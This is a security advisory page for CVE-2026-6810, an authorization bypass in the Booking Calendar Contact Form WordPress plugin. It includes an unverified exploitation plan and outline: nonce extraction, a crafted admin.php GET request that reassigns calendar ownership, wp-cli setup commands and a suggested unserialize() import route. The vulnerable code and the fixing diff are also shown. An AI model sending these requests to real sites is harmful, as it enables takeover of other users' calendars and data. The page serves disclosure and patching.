CVE-2026-6810

Booking Calendar Contact Form <= 1.2.63 - Authenticated (Subscriber+) Insecure Direct Object Reference to Calendar Takeover

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.2.64
Patched in
1d
Time to patch

Description

The Booking Calendar Contact Form plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.2.63 via the dex_bccf_admin_int_calendar_list.inc.php file due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to takeover other user's calendars and view user data associated with the calendar.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.63
PublishedApril 23, 2026
Last updatedApril 24, 2026

What Changed in the Fix

Changes introduced in v1.2.64

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6810 ## 1. Vulnerability Summary The **Booking Calendar Contact Form** plugin (<= 1.2.63) is vulnerable to an **Insecure Direct Object Reference (IDOR)** in the administrative interface. The file `dex_bccf_admin_int_calendar_list.inc.php` processes calendar up…

Show full research plan

Exploitation Research Plan: CVE-2026-6810

1. Vulnerability Summary

The Booking Calendar Contact Form plugin (<= 1.2.63) is vulnerable to an Insecure Direct Object Reference (IDOR) in the administrative interface. The file dex_bccf_admin_int_calendar_list.inc.php processes calendar update requests without performing any capability checks (e.g., current_user_can()). It only verifies a WordPress nonce (uname_bccf). Because the admin page associated with this file is often accessible to low-privilege users (Subscriber+) or the logic runs early in the admin lifecycle, an authenticated attacker can modify the conwer (owner) field of any calendar ID, effectively taking over ownership of calendars belonging to other users, including administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php?page=dex_bccf.php
  • Method: GET
  • Vulnerable Parameters:
    • u: The ID of the target calendar to take over (Insecure Direct Object Reference).
    • owner: The User ID to which ownership should be transferred (the attacker's ID).
    • name: The new name for the calendar.
    • public: Value for the caldeleted field (typically 1).
  • Authentication: Required (Subscriber-level access or higher).
  • Preconditions: The attacker must obtain a valid nonce for the uname_bccf action.

3. Code Flow

  1. A user accesses admin.php?page=dex_bccf.php.
  2. The plugin loads dex_bccf.php, which includes dex_bccf_admin_int_calendar_list.inc.php.
  3. dex_bccf_admin_int_calendar_list.inc.php checks for $_GET['u'] (Line 31).
  4. It performs a nonce verification: wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' ) (Line 33).
  5. Critically, it skips any capability checks.
  6. It executes a prepared SQL statement (Lines 37-38):
    $wpdb->query( $wpdb->prepare( 
        'UPDATE `'.DEX_BCCF_CONFIG_TABLE_NAME.'` SET conwer=%d,`'.TDE_BCCFCALDELETED_FIELD.'`=%d,`'.TDE_BCCFCONFIG_USER.'`=%s WHERE `'.TDE_BCCFCONFIG_ID.'`=%d', 
        sanitize_text_field($_GET["owner"]), 
        sanitize_text_field($_GET["public"]), 
        sanitize_text_field($_GET["name"]), 
        $_GET['u'] 
    ) );
    
  7. DEX_BCCF_CONFIG_TABLE_NAME resolves to {prefix}bccf_reservation_calendars.
  8. conwer is the column storing the owner's User ID. By providing their own ID in $_GET['owner'], the attacker becomes the owner of calendar $_GET['u'].

4. Nonce Acquisition Strategy

The nonce uname_bccf is required. It is generated within dex_bccf_admin_int_calendar_list.inc.php and embedded in the page source for administrative functions.

  1. Identify Access: Low-privilege users (Subscribers) can typically access admin.php?page=dex_bccf.php if the plugin registers the menu with the read capability or fails to restrict the sub-include.
  2. Navigation: Use browser_navigate to go to http://[target]/wp-admin/admin.php?page=dex_bccf.php.
  3. Extraction: The nonce is stored in a PHP variable $nonce_un and used in JavaScript functions within the page.
  4. Execution: Use browser_eval to find the nonce in the URL of the "Update" links or the cp_updateItem function logic.
    • The source shows the nonce is echoed directly into the document.location in the cp_updateItem JS function:
      'admin.php?page=dex_bccf.php&_wpnonce=<?php echo $nonce_un; ?>&u='+id...
    • Command: browser_eval("document.documentElement.innerHTML.match(/_wpnonce=([a-f0-9]{10})/)[1]")

5. Exploitation Strategy

Step 1: Discover Target Calendar ID

As an administrator, create a calendar. Note its ID (e.g., 1).

Step 2: Authenticate as Subscriber

Log in as a Subscriber-level user.

Step 3: Obtain Nonce

Navigate to the plugin's admin page and extract the uname_bccf nonce.

Step 4: Execute Takeover Request

Perform a GET request to admin.php with the attacker's id as the owner.

  • URL: http://[target]/wp-admin/admin.php
  • Query Parameters:
    • page: dex_bccf.php
    • u: 1 (Target Calendar ID)
    • owner: 2 (Attacker Subscriber ID)
    • name: Takeover
    • public: 1
    • _wpnonce: [EXTRACTED_NONCE]

Request Example (using http_request):

{
  "method": "GET",
  "url": "http://vulnerable-hostname/wp-admin/admin.php?page=dex_bccf.php&u=1&owner=2&name=Hacked&public=1&_wpnonce=a1b2c3d4e5"
}

6. Test Data Setup

  1. Admin User: Create an admin user.
  2. Subscriber User: Create a subscriber user (ID 2).
  3. Target Calendar: As Admin, create at least one calendar.
    • wp eval "global \$wpdb; \$wpdb->insert(\$wpdb->prefix . 'bccf_reservation_calendars', array('uname' => 'Admin Calendar', 'conwer' => 1, 'caldeleted' => 1));"
  4. Confirm ID: Verify the calendar exists and is owned by ID 1.
    • wp db query "SELECT id, uname, conwer FROM wp_bccf_reservation_calendars"

7. Expected Results

  • The server should return a 200 OK response.
  • The response body should contain the message: "Item updated" (quoted from line 39 of dex_bccf_admin_int_calendar_list.inc.php).
  • The database record for the calendar with ID u will now have conwer = 2.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT id, uname, conwer FROM wp_bccf_reservation_calendars WHERE id=1"
    
    Confirm conwer is now the Subscriber's ID.
  2. UI Check: Log in as the Subscriber. Navigate to admin.php?page=dex_bccf.php. The Subscriber should now see the "Admin Calendar" in their list, as the loop if (cp_bccf_is_administrator() || ($current_user->ID == $item->conwer)) now evaluates to true for them.

9. Alternative Approaches

If the _wpnonce extraction via browser_eval fails:

  • Check for the nonce in the "Export" button or other links in the Calendar List table.
  • If admin.php?page=dex_bccf.php is strictly blocked for Subscribers, check if the nonce can be obtained from the frontend if the plugin enqueues it there (less likely for this specific uname_bccf action).
  • Check if the bccf_fileimport POST action (Line 14) can be abused using the same nonce to overwrite calendar data via unserialize().
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking Calendar Contact Form plugin (<= 1.2.63) lacks authorization checks in its administration interface, allowing Subscriber-level users to update calendar settings and change ownership. By manipulating the 'u' and 'owner' parameters in a request to dex_bccf_admin_int_calendar_list.inc.php, an attacker can take over any calendar and access associated user data.

Vulnerable Code

// dex_bccf_admin_int_calendar_list.inc.php line 14
if (isset($_POST["bccf_fileimport"]) && $_POST["bccf_fileimport"] == 1 && wp_verify_nonce( $_POST['_wpnonce'], 'uname_bccf' ))
{    
    if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' ))    
        $message = "Access verification error. Cannot update settings.";
    else
    {   
        $filename = sanitize_file_name($_FILES['cp_filename']['tmp_name']);
        $handle = fopen($filename, "r");
        $contents = fread($handle, filesize($filename));
        fclose($handle);
        $params = unserialize($contents);
        $wpdb->query( $wpdb->prepare( 'DELETE FROM `'.DEX_BCCF_CONFIG_TABLE_NAME.'` WHERE id=%d', $params['id'] ) );    
        unset($params["form_name"]);
        $wpdb->insert( DEX_BCCF_CONFIG_TABLE_NAME, $params);
        @unlink($filename);
        $message = "Backup loaded.";
    }
}

---

// dex_bccf_admin_int_calendar_list.inc.php line 31
else if (isset($_GET['u']) && $_GET['u'] != '')
{
    if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' ))    
        $message = "Access verification error. Cannot update settings.";
    else
    {            
        $wpdb->query( $wpdb->prepare( 'UPDATE `'.DEX_BCCF_CONFIG_TABLE_NAME.'` SET conwer=%d,`'.TDE_BCCFCALDELETED_FIELD.'`=%d,`'.TDE_BCCFCONFIG_USER.'`=%s WHERE `'.TDE_BCCFCONFIG_ID.'`=%d', sanitize_text_field($_GET["owner"]), sanitize_text_field($_GET["public"]), sanitize_text_field($_GET["name"]), $_GET['u'] ) );           
        $message = "Item updated";        
    }    
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/booking-calendar-contact-form/1.2.63/dex_bccf_admin_int_calendar_list.inc.php /home/deploy/wp-safety.org/data/plugin-versions/booking-calendar-contact-form/1.2.64/dex_bccf_admin_int_calendar_list.inc.php
--- /home/deploy/wp-safety.org/data/plugin-versions/booking-calendar-contact-form/1.2.63/dex_bccf_admin_int_calendar_list.inc.php	2026-02-03 11:22:36.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/booking-calendar-contact-form/1.2.64/dex_bccf_admin_int_calendar_list.inc.php	2026-04-21 20:56:42.000000000 +0000
@@ -11,7 +11,7 @@
 global $wpdb;
 $message = "";
 
-if (isset($_POST["bccf_fileimport"]) && $_POST["bccf_fileimport"] == 1 && wp_verify_nonce( $_POST['_wpnonce'], 'uname_bccf' ))
+if (current_user_can('manage_options') && isset($_POST["bccf_fileimport"]) && $_POST["bccf_fileimport"] == 1 && wp_verify_nonce( $_POST['_wpnonce'], 'uname_bccf' ))
 {    
     if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' ))    
         $message = "Access verification error. Cannot update settings.";
@@ -29,7 +29,7 @@
         $message = "Backup loaded.";
     }
 }
-else if (isset($_GET['u']) && $_GET['u'] != '')
+else if (current_user_can('manage_options') && isset($_GET['u']) && $_GET['u'] != '')
 {
     if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' ))    
         $message = "Access verification error. Cannot update settings.";
@@ -39,7 +39,7 @@
         $message = "Item updated";        
     }    
 }
-else if (isset($_GET['ac']) && $_GET['ac'] == 'st')
+else if (current_user_can('manage_options') && isset($_GET['ac']) && $_GET['ac'] == 'st')
 {
     if (!wp_verify_nonce( $_REQUEST['_wpnonce'], 'uname_bccf' ))    
         $message = "Access verification error. Cannot update settings.";

Exploit Outline

The exploit requires an authenticated session with Subscriber-level privileges or higher. 1. The attacker navigates to the plugin's administration page (/wp-admin/admin.php?page=dex_bccf.php) to obtain a valid WordPress nonce for the 'uname_bccf' action, which is embedded in the page's HTML/JavaScript. 2. The attacker identifies the numeric ID of a target calendar they wish to control. 3. The attacker issues a GET request to the administrative endpoint with several specific parameters: 'page=dex_bccf.php', 'u' (the target calendar ID), 'owner' (the attacker's own user ID), '_wpnonce' (the extracted nonce), and 'public=1'. 4. The plugin's back-end logic processes this request without checking if the current user has the 'manage_options' capability, executing a SQL UPDATE statement that assigns ownership of the calendar to the attacker's user ID. 5. Once successful, the attacker can view and manage the calendar through the standard plugin interface.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.